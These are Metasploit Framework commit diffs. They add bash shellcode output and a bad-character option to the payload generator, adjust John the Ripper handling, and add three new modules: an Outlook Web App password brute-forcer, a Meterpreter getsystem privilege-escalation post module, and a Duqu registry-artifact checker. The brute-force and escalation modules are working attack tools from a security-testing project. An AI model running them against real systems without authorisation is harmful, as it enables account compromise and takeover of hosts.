.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(encoderLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(outputLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(timesLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(outputPathLabel)
.addComponent(addCodeLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addComponent(templateLabel)
.addComponent(archLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 177, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(outputPathField, javax.swing.GroupLayout.DEFAULT_SIZE, 453, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(choosePathButton, javax.swing.GroupLayout.PREFERRED_SIZE, 91, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(archField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 550, Short.MAX_VALUE)
.addComponent(badcharsField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 550, Short.MAX_VALUE)
.addComponent(timesField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 550, Short.MAX_VALUE)
.addComponent(outputCombo, javax.swing.GroupLayout.Alignment.LEADING, 0, 550, Short.MAX_VALUE)
.addComponent(encoderCombo, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 540, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(addCodeField)
.addComponent(templateField, javax.swing.GroupLayout.DEFAULT_SIZE, 447, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(archField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 310, Short.MAX_VALUE)
.addComponent(timesField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 310, Short.MAX_VALUE)
.addComponent(outputCombo, javax.swing.GroupLayout.Alignment.LEADING, 0, 310, Short.MAX_VALUE)
.addComponent(encoderCombo, javax.swing.GroupLayout.Alignment.LEADING, 0, 310, Short.MAX_VALUE)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, mainPanelLayout.createSequentialGroup()
.addComponent(outputPathField, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(choosePathButton, javax.swing.GroupLayout.PREFERRED_SIZE, 91, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(addCodeField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 217, Short.MAX_VALUE)
.addComponent(templateField, javax.swing.GroupLayout.DEFAULT_SIZE, 217, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(addCodeButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(templateButton, javax.swing.GroupLayout.DEFAULT_SIZE, 87, Short.MAX_VALUE))))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(templateWorkingCheck)))
.addGap(349, 349, 349))))
.addComponent(addCodeButton, javax.swing.GroupLayout.DEFAULT_SIZE, 97, Short.MAX_VALUE)
.addComponent(templateButton, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 97, Short.MAX_VALUE))))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(templateWorkingCheck)
.addGap(115, 115, 115))))
.addGroup(mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createSequentialGroup()
.addComponent(generateButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(displayButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(saveButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(handleButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(handleConsoleButton)
.addGap(121, 121, 121))
.addComponent(outputScrollPane, javax.swing.GroupLayout.PREFERRED_SIZE, 691, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(795, 795, 795))
);
mainPanelLayout.setVerticalGroup(
mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createSequentialGroup()
.addGap(54, 54, 54)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
.addGap(119, 119, 119)
.addComponent(descriptionBox)
.addGap(78, 78, 78)
.addGap(18, 18, 18)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(generateButton)
.addComponent(displayButton)
@ -460,38 +476,42 @@ public class PayloadPopup extends ModuleInfoWindow {
.addComponent(handleButton)
.addComponent(handleConsoleButton))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(outputScrollPane)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 12, Short.MAX_VALUE)
.addGap(6, 6, 6)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(outputPathLabel)
.addComponent(outputPathField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(outputPathLabel)
.addComponent(choosePathButton))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(encoderLabel)
.addComponent(encoderCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(encoderCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(encoderLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(outputLabel)
.addComponent(outputCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(outputCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(outputLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(timesLabel)
.addComponent(timesField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(timesField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(timesLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(archLabel)
.addComponent(archField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(badcharsField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(badcharsLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(archField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(archLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(templateLabel)
.addComponent(templateField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(templateLabel)
.addComponent(templateButton)
.addComponent(templateWorkingCheck))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(addCodeLabel)
.addComponent(addCodeField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(addCodeLabel)
.addComponent(addCodeButton))
.addContainerGap())
);
@ -535,6 +555,13 @@ public class PayloadPopup extends ModuleInfoWindow {
hash.put("format", outputCombo.getSelectedItem().toString());
if(timesField.getText().length() > 0)
hash.put("ecount", timesField.getText());
if(badcharsField.getText().length() > 0){
StringBuffer badbinary = new StringBuffer();
for(String s : badcharsField.getText().split("\\\\x"))
if(s.length() > 0)
badbinary.append((char)Integer.parseInt(s, 16));
hash.put("badchars", badbinary.toString());
}
if(archField.getText().length() > 0)
hash.put("arch", archField.getText());
if(addCodeField.getText().length() > 0)
@ -625,6 +652,8 @@ public class PayloadPopup extends ModuleInfoWindow {
private javax.swing.JLabel addCodeLabel;
private javax.swing.JTextField archField;
private javax.swing.JLabel archLabel;
private javax.swing.JTextField badcharsField;
private javax.swing.JLabel badcharsLabel;
private javax.swing.ButtonGroup buttonGroup1;
private javax.swing.JButton choosePathButton;
public javax.swing.JLabel descriptionBox;

View File

@ -22,3 +22,4 @@ descriptionBox.text=Description
addCodeLabel.text=(win32 only) add shellcode
addCodeButton.text=Choose...
addCodeField.text=
badcharsLabel.text=Badchars (\\xff\\x00)

View File

@ -18,7 +18,7 @@ module Buffer
#
# Serializes a buffer to a provided format. The formats supported are raw,
# ruby, perl, c, js_be, js_le and java
# ruby, perl, bash, c, js_be, js_le and java
#
def self.transform(buf, fmt = "ruby")
case fmt
@ -27,6 +27,8 @@ module Buffer
buf = Rex::Text.to_ruby(buf)
when 'perl', 'pl'
buf = Rex::Text.to_perl(buf)
when 'bash', 'sh'
buf = Rex::Text.to_bash(buf)
when 'c'
buf = Rex::Text.to_c(buf)
when 'js_be'
@ -44,7 +46,7 @@ module Buffer
#
# Creates a comment using the supplied format. The formats supported are
# raw, ruby, perl, js_be, js_le, c, and java.
# raw, ruby, perl, bash, js_be, js_le, c, and java.
#
def self.comment(buf, fmt = "ruby")
case fmt
@ -53,6 +55,8 @@ module Buffer
buf = Rex::Text.to_ruby_comment(buf)
when 'perl', 'pl'
buf = Rex::Text.to_perl_comment(buf)
when 'bash', 'sh'
buf = Rex::Text.to_bash_comment(buf)
when 'c'
buf = Rex::Text.to_c_comment(buf)
when 'js_be', 'js_le'
@ -70,7 +74,7 @@ module Buffer
# Returns the list of supported formats
#
def self.transform_formats
['raw','ruby','rb','perl','pl','c','js_be','js_le','java']
['raw','ruby','rb','perl','pl','bash','sh','c','js_be','js_le','java']
end
end

View File

@ -79,11 +79,14 @@ module Auxiliary::JohnTheRipper
@session_id ||= ::Rex::Text.rand_text_alphanumeric(8)
end
def john_pot_file
::File.join( ::Msf::Config.config_directory, "john.pot" )
end
def john_cracked_passwords
ret = {}
pot = ::File.join( ::File.dirname( john_binary_path ), "john.pot" )
return ret if not ::File.exist?(pot)
::File.open(pot, "rb") do |fd|
return ret if not ::File.exist?(john_pot_file)
::File.open(john_pot_file, "rb") do |fd|
fd.each_line do |line|
hash,clear = line.sub(/\r?\n$/, '').split(",", 2)
ret[hash] = clear
@ -94,7 +97,12 @@ module Auxiliary::JohnTheRipper
def john_show_passwords(hfile, format=nil)
res = {:cracked => 0, :uncracked => 0, :users => {} }
cmd = [ john_binary_path, "--show", "--conf=" + ::File.join(john_base_path, "confs", "john.conf"), hfile]
pot = john_pot_file
conf = ::File.join(john_base_path, "confs", "john.conf")
cmd = [ john_binary_path, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile]
if format
cmd << "--format=" + format
end
@ -221,7 +229,9 @@ module Auxiliary::JohnTheRipper
res = {:cracked => 0, :uncracked => 0, :users => {} }
cmd = [ john_binary_path, "--session=" + john_session_id]
# Don't bother making a log file, we'd just have to rm it when we're
# done anyway.
cmd = [ john_binary_path, "--session=" + john_session_id, "--nolog"]
if opts[:conf]
cmd << ( "--conf=" + opts[:conf] )
@ -229,6 +239,12 @@ module Auxiliary::JohnTheRipper
cmd << ( "--conf=" + ::File.join(john_base_path, "confs", "john.conf") )
end
if opts[:pot]
cmd << ( "--pot=" + opts[:pot] )
else
cmd << ( "--pot=" + john_pot_file )
end
if opts[:format]
cmd << ( "--format=" + opts[:format] )
end
@ -261,11 +277,6 @@ module Auxiliary::JohnTheRipper
end
end
# Clean up temporary files created by --session
# XXX: Surely there is a better way to control
# the location of these.
::FileUtils.rm_f("#{john_session_id}.log")
res
end
end

View File

@ -94,6 +94,13 @@ module Text
return hexify(str, wrap, '"', '" .', "my $#{name} = \n", '";')
end
#
# Converts a raw string into a Bash buffer
#
def self.to_bash(str, wrap = DefaultWrap, name = "buf")
return hexify(str, wrap, '$\'', '\'\\', "export #{name}=\\\n", '\'')
end
#
# Converts a raw string into a java byte array
#
@ -124,6 +131,13 @@ module Text
return wordwrap(str, 0, wrap, '', '# ')
end
#
# Creates a Bash-style comment
#
def self.to_bash_comment(str, wrap = DefaultWrap)
return wordwrap(str, 0, wrap, '', '# ')
end
#
# Returns the raw string
#
@ -829,7 +843,7 @@ module Text
# Return stupid uses
return "" if length.to_i < 1
return sets[0][0] * length if sets.size == 1 and sets[0].size == 1
return sets[0][0].chr * length if sets.size == 1 and sets[0].size == 1
sets.length.times { offsets << 0 }

View File

@ -158,6 +158,7 @@ class Rex::Text::UnitTest < Test::Unit::TestCase
assert_equal("buf = \n\"\\x01\\x02\\xff\\x00\"\n", Rex::Text.to_ruby(str), 'to_ruby')
assert_equal("my $buf = \n\"\\x01\\x02\\xff\\x00\";\n", Rex::Text.to_perl(str), 'to_perl')
assert_equal("export buf=\\\n$'\\x01\\x02\\xff\\x00\'\n", Rex::Text.to_bash(str), 'to_bash')
assert_equal("unsigned char buf[] = \n\"\\x01\\x02\\xff\\x00\";\n", Rex::Text.to_c(str), 'to_c')
# 0 -> 20
@ -165,6 +166,7 @@ class Rex::Text::UnitTest < Test::Unit::TestCase
assert_equal("buf = \n\"\\x00\\x01\\x02\\x03\" +\n\"\\x04\\x05\\x06\\x07\" +\n\"\\x08\\x09\\x0a\\x0b\" +\n\"\\x0c\\x0d\\x0e\\x0f\" +\n\"\\x10\\x11\\x12\\x13\"\n", Rex::Text.to_ruby(str, 20), 'to_ruby with wrap')
assert_equal("my $buf = \n\"\\x00\\x01\\x02\\x03\" .\n\"\\x04\\x05\\x06\\x07\" .\n\"\\x08\\x09\\x0a\\x0b\" .\n\"\\x0c\\x0d\\x0e\\x0f\" .\n\"\\x10\\x11\\x12\\x13\";\n", Rex::Text.to_perl(str, 20), 'to_perl with wrap')
assert_equal("export buf=\\\n$'\\x00\\x01\\x02\\x03\'\\\n$'\\x04\\x05\\x06\\x07\'\\\n$'\\x08\\x09\\x0a\\x0b'\\\n$'\\x0c\\x0d\\x0e\\x0f'\\\n$'\\x10\\x11\\x12\\x13\'\n", Rex::Text.to_bash(str, 20), 'to_bash with wrap')
assert_equal("unsigned char buf[] = \n\"\\x00\\x01\\x02\\x03\\x04\"\n\"\\x05\\x06\\x07\\x08\\x09\"\n\"\\x0a\\x0b\\x0c\\x0d\\x0e\"\n\"\\x0f\\x10\\x11\\x12\\x13\";\n", Rex::Text.to_c(str, 20, "buf"), 'to_c with wrap')
assert_equal("\\x0a", Rex::Text.to_hex("\n"), 'to_hex newline')

View File

@ -0,0 +1,162 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007 and 2010 servers.
},
'Author' =>
[
'Vitor Moreira',
'Spencer McIntyre',
'SecureState R&D Team'
],
'License' => MSF_LICENSE
)
register_options(
[
OptInt.new('RPORT', [ true, "The target port", 443]),
OptString.new('VERSION', [ true, "OWA VERSION (2003, 2007, or 2010)", '2007'])
], self.class)
register_advanced_options(
[
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class)
deregister_options('BLANK_PASSWORDS')
end
def run
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
vhost = datastore['VHOST'] || datastore['RHOST']
if datastore['VERSION'] == '2003'
authPath = '/exchweb/bin/auth/owaauth.dll'
inboxPath = '/exchange/'
loginCheck = /Inbox/
elsif datastore['VERSION'] == '2007'
authPath = '/owa/auth/owaauth.dll'
inboxPath = '/owa/'
loginCheck = /addrbook.gif/
elsif datastore['VERSION'] == '2010'
authPath = '/owa/auth.owa' # Post creds here
inboxPath = '/owa/' # Get request with cookie/sessionid
loginCheck = /Inbox/ # check result
else
print_error('Invalid Version, Select 2003, 2007, or 2010')
return
end
print_status("Testing OWA: version #{datastore['VERSION']} against #{vhost}:#{datastore['RPORT'].to_s}")
begin
each_user_pass do |user, pass|
vprint_status("Trying #{user} : #{pass}")
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error('HTTP Connection Error, Aborting')
end
end
def try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
headers = {
'Cookie' => 'PBack=0'
}
if (datastore['SSL'].to_s.match(/^(t|y|1)/i))
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
else
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
begin
res = send_request_cgi({
'encode' => true,
'uri' => authPath,
'method' => 'POST',
'headers' => headers,
'data' => data
}, 20)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error('HTTP Connection Failed, Aborting')
return :abort
end
if not res
print_error('HTTP Connection Error, Aborting')
return :abort
end
if not res.headers['set-cookie']
print_error('Received Invalid Repsonse due to a missing cookie (Possibly Due To Invalid Version), Aborting')
return :abort
end
# these two lines are the authentication info
sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
begin
res = send_request_cgi({
'uri' => inboxPath,
'method' => 'GET',
'headers' => headers
}, 20)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error('HTTP Connection Failed, Aborting')
return :abort
end
if not res
print_error('HTTP Connection Error, Aborting')
return :abort
end
if res.code == 302
vprint_error("FAILED LOGIN. #{user} : #{pass}")
return :skip_pass
end
if res.body =~ loginCheck
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'owa',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
return :next_user
else
vprint_error("FAILED LOGIN. #{user} : #{pass}")
return :skip_pass
end
end
end

View File

@ -953,7 +953,7 @@ class Metasploit3 < Msf::Auxiliary
disconnect_snmp
rescue SNMP::RequestTimeout
print_status("#{ip}, SNMP request timeout.")
vprint_status("#{ip}, SNMP request timeout.")
rescue Errno::ECONNREFUSED
print_status("#{ip}, Connection refused.")
rescue SNMP::InvalidIpAddress

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
[
['URL', 'http://www.asterisk.org/astdocs/node201.html'], # Docs for AMI
],
'License' => MSF_LICENSE,
'License' => MSF_LICENSE
))
register_options(

View File

@ -0,0 +1,66 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'metasm'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate Get System via Administrator',
'Description' => %q{
This module uses the builtin 'getsystem' command to escalate
the current session to the SYSTEM account from an administrator
user account.
},
'License' => MSF_LICENSE,
'Author' => 'hdm',
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0])
], self.class)
end
def unsupported
print_error("This version of Meterpreter is not supported with this script!")
raise Rex::Script::Completed
end
def run
tech = datastore['TECHNIQUE'].to_i
unsupported if client.platform !~ /win32|win64/i
if is_system?
print_good("This session already has SYSTEM privileges")
return
end
result = client.priv.getsystem( tech )
if result and result[0]
print_good( "Obtained SYSTEM via technique #{result[1]}" )
else
print_error( "Failed to obtain SYSTEM access" )
end
end
end

View File

@ -0,0 +1,79 @@
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Duqu Registry Check',
'Description' => %q{ This module searches for CVE-2011-3402 [Duqu] related registry artifacts.},
'License' => MSF_LICENSE,
'Author' => [ 'Marcus J. Carey <mjc[at]threatagent.com>'],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
[ 'CVE', '2011-3402' ],
[ 'URL', 'http://r-7.co/w5h7fY' ]
]
))
end
def run
# Registry artifacts sourced from Symantec report
artifacts =
[
'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\"CFID"',
'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CFID',
'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3',
'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3\FILTER'
]
match = 0
print_status("Searching registry on #{sysinfo['Computer']} for CVE-2011-3402 exploitation [Duqu] artifacts.")
begin
artifacts.each do |artifact|
(path, query) = parse_path(artifact)
has_key = registry_enumkeys(path)
has_val = registry_enumvals(path)
if has_key.include?(query) or has_val.include?(query)
print_good("#{sysinfo['Computer']}: #{path}\\#{query} found in registry.")
match += 1
report_vuln(
:host => target_host,
:name => self.fullname,
:info => "#{path}\\#{query} possible CVE-2011-3402 exploitation [Duqu] artifact.",
:refs => self.references,
:exploited_at => Time.now.utc
)
end
end
rescue # Probably should do something here...
end
print_status("#{sysinfo['Computer']}: #{match.to_s} artifact(s) found in registry.")
end
def parse_path(artifact)
parts = artifact.split("\\")
query = parts[-1]
parts.pop
path = parts.join("\\")
return path, query
end
end

View File

@ -379,12 +379,12 @@ if opts[:nopsled]
end
$stdout.binmode
if opts[:format] !~/ruby|rb|perl|pl|c|js|dll|elf/i
if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i
exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts)
end
case opts[:format]
when /ruby|rb|perl|pl|c|js_le|raw/i
when /ruby|rb|perl|pl|bash|sh|c|js_le|raw/i
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
when /asp/
asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)